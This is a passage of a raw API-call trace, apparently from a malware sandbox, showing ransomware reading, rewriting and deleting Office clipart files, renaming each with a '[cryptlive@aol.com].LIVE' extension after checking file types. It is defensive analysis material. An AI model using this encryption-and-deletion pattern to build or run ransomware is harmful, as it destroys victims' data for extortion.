lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1892) returned 1 [0147.650] CloseHandle (hObject=0x1ec) returned 1 [0147.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 0x20 [0147.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.764] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.764] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.765] GetLastError () returned 0x0 [0147.765] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x764, lpOverlapped=0x0) returned 1 [0147.771] WriteFile (in: hFile=0x3d0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x770, lpOverlapped=0x0) returned 1 [0147.780] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.780] WriteFile (in: hFile=0x3d0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.781] SetEndOfFile (hFile=0x3d0) returned 1 [0147.781] CloseHandle (hObject=0x3d0) returned 1 [0147.781] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.781] SetEndOfFile (hFile=0x1ec) returned 1 [0147.783] CloseHandle (hObject=0x1ec) returned 1 [0147.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0147.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.806] lstrlenW (lpString=".doc") returned 4 [0147.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.806] lstrlenW (lpString=".docx") returned 5 [0147.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.806] lstrlenW (lpString=".pdf") returned 4 [0147.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.806] lstrlenW (lpString=".xls") returned 4 [0147.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.806] lstrlenW (lpString=".xlsx") returned 5 [0147.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.806] lstrlenW (lpString=".ppt") returned 4 [0147.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.806] lstrlenW (lpString=".zip") returned 4 [0147.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.806] lstrlenW (lpString=".rar") returned 4 [0147.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.806] lstrlenW (lpString=".bz2") returned 4 [0147.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.806] lstrlenW (lpString=".7z") returned 3 [0147.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.806] lstrlenW (lpString=".dbf") returned 4 [0147.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.806] lstrlenW (lpString=".1cd") returned 4 [0147.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.806] lstrlenW (lpString=".jpg") returned 4 [0147.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.807] lstrlenW (lpString=".doc") returned 4 [0147.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.807] lstrlenW (lpString=".docx") returned 5 [0147.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.807] lstrlenW (lpString=".pdf") returned 4 [0147.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.807] lstrlenW (lpString=".xls") returned 4 [0147.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.807] lstrlenW (lpString=".xlsx") returned 5 [0147.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.807] lstrlenW (lpString=".ppt") returned 4 [0147.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.807] lstrlenW (lpString=".zip") returned 4 [0147.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.807] lstrlenW (lpString=".rar") returned 4 [0147.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.807] lstrlenW (lpString=".bz2") returned 4 [0147.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.807] lstrlenW (lpString=".7z") returned 3 [0147.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.807] lstrlenW (lpString=".dbf") returned 4 [0147.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.807] lstrlenW (lpString=".1cd") returned 4 [0147.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0147.807] lstrlenW (lpString=".jpg") returned 4 [0147.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.808] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.808] lstrlenW (lpString="J0086424.WMF") returned 12 [0147.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.808] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=17016) returned 1 [0147.808] CloseHandle (hObject=0x36c) returned 1 [0147.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20 [0147.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.809] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.809] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0147.809] GetLastError () returned 0x0 [0147.809] ReadFile (in: hFile=0x36c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4278, lpOverlapped=0x0) returned 1 [0147.930] WriteFile (in: hFile=0x3d0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4280, lpOverlapped=0x0) returned 1 [0147.931] ReadFile (in: hFile=0x36c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.931] WriteFile (in: hFile=0x3d0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.931] SetEndOfFile (hFile=0x3d0) returned 1 [0147.932] CloseHandle (hObject=0x3d0) returned 1 [0147.932] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.932] SetEndOfFile (hFile=0x36c) returned 1 [0147.934] CloseHandle (hObject=0x36c) returned 1 [0147.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.936] lstrlenW (lpString=".doc") returned 4 [0147.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString=".docx") returned 5 [0147.936] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0147.936] lstrlenW (lpString=".pdf") returned 4 [0147.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString=".xls") returned 4 [0147.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.936] lstrlenW (lpString=".xlsx") returned 5 [0147.936] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0147.936] lstrlenW (lpString=".ppt") returned 4 [0147.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.936] lstrlenW (lpString=".zip") returned 4 [0147.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.937] lstrlenW (lpString=".rar") returned 4 [0147.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString=".bz2") returned 4 [0147.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString=".7z") returned 3 [0147.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.937] lstrlenW (lpString=".dbf") returned 4 [0147.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.937] lstrlenW (lpString=".1cd") returned 4 [0147.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.937] lstrlenW (lpString=".jpg") returned 4 [0147.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.937] lstrlenW (lpString=".doc") returned 4 [0147.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString=".docx") returned 5 [0147.937] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0147.937] lstrlenW (lpString=".pdf") returned 4 [0147.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString=".xls") returned 4 [0147.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.937] lstrlenW (lpString=".xlsx") returned 5 [0147.937] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0147.937] lstrlenW (lpString=".ppt") returned 4 [0147.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.937] lstrlenW (lpString=".zip") returned 4 [0147.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.937] lstrlenW (lpString=".rar") returned 4 [0147.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.937] lstrlenW (lpString=".bz2") returned 4 [0147.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.938] lstrlenW (lpString=".7z") returned 3 [0147.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.938] lstrlenW (lpString=".dbf") returned 4 [0147.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.938] lstrlenW (lpString=".1cd") returned 4 [0147.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0147.938] lstrlenW (lpString=".jpg") returned 4 [0147.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.938] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.938] lstrlenW (lpString="J0090390.WMF") returned 12 [0147.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.981] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=17638) returned 1 [0147.981] CloseHandle (hObject=0x1ec) returned 1 [0147.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20 [0148.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0148.092] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.092] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.092] GetLastError () returned 0x0 [0148.092] ReadFile (in: hFile=0x3a0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x44e6, lpOverlapped=0x0) returned 1 [0148.141] WriteFile (in: hFile=0x328, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x44f0, lpOverlapped=0x0) returned 1 [0148.148] ReadFile (in: hFile=0x3a0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.148] WriteFile (in: hFile=0x328, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.148] SetEndOfFile (hFile=0x328) returned 1 [0148.148] CloseHandle (hObject=0x328) returned 1 [0148.148] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.148] SetEndOfFile (hFile=0x3a0) returned 1 [0148.150] CloseHandle (hObject=0x3a0) returned 1 [0148.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0148.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.288] lstrlenW (lpString=".doc") returned 4 [0148.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.288] lstrlenW (lpString=".docx") returned 5 [0148.288] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0148.288] lstrlenW (lpString=".pdf") returned 4 [0148.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.288] lstrlenW (lpString=".xls") returned 4 [0148.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.288] lstrlenW (lpString=".xlsx") returned 5 [0148.288] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0148.288] lstrlenW (lpString=".ppt") returned 4 [0148.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.289] lstrlenW (lpString=".zip") returned 4 [0148.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.289] lstrlenW (lpString=".rar") returned 4 [0148.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.289] lstrlenW (lpString=".bz2") returned 4 [0148.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.289] lstrlenW (lpString=".7z") returned 3 [0148.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.289] lstrlenW (lpString=".dbf") returned 4 [0148.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.289] lstrlenW (lpString=".1cd") returned 4 [0148.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.289] lstrlenW (lpString=".jpg") returned 4 [0148.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.289] lstrlenW (lpString=".doc") returned 4 [0148.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.289] lstrlenW (lpString=".docx") returned 5 [0148.289] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0148.289] lstrlenW (lpString=".pdf") returned 4 [0148.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.289] lstrlenW (lpString=".xls") returned 4 [0148.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.289] lstrlenW (lpString=".xlsx") returned 5 [0148.289] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0148.289] lstrlenW (lpString=".ppt") returned 4 [0148.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.289] lstrlenW (lpString=".zip") returned 4 [0148.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.290] lstrlenW (lpString=".rar") returned 4 [0148.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.290] lstrlenW (lpString=".bz2") returned 4 [0148.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.290] lstrlenW (lpString=".7z") returned 3 [0148.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.290] lstrlenW (lpString=".dbf") returned 4 [0148.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.290] lstrlenW (lpString=".1cd") returned 4 [0148.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned 63 [0148.290] lstrlenW (lpString=".jpg") returned 4 [0148.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.290] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.290] lstrlenW (lpString="J0099148.JPG") returned 12 [0148.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.291] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=18258) returned 1 [0148.291] CloseHandle (hObject=0x328) returned 1 [0148.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20 [0148.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, 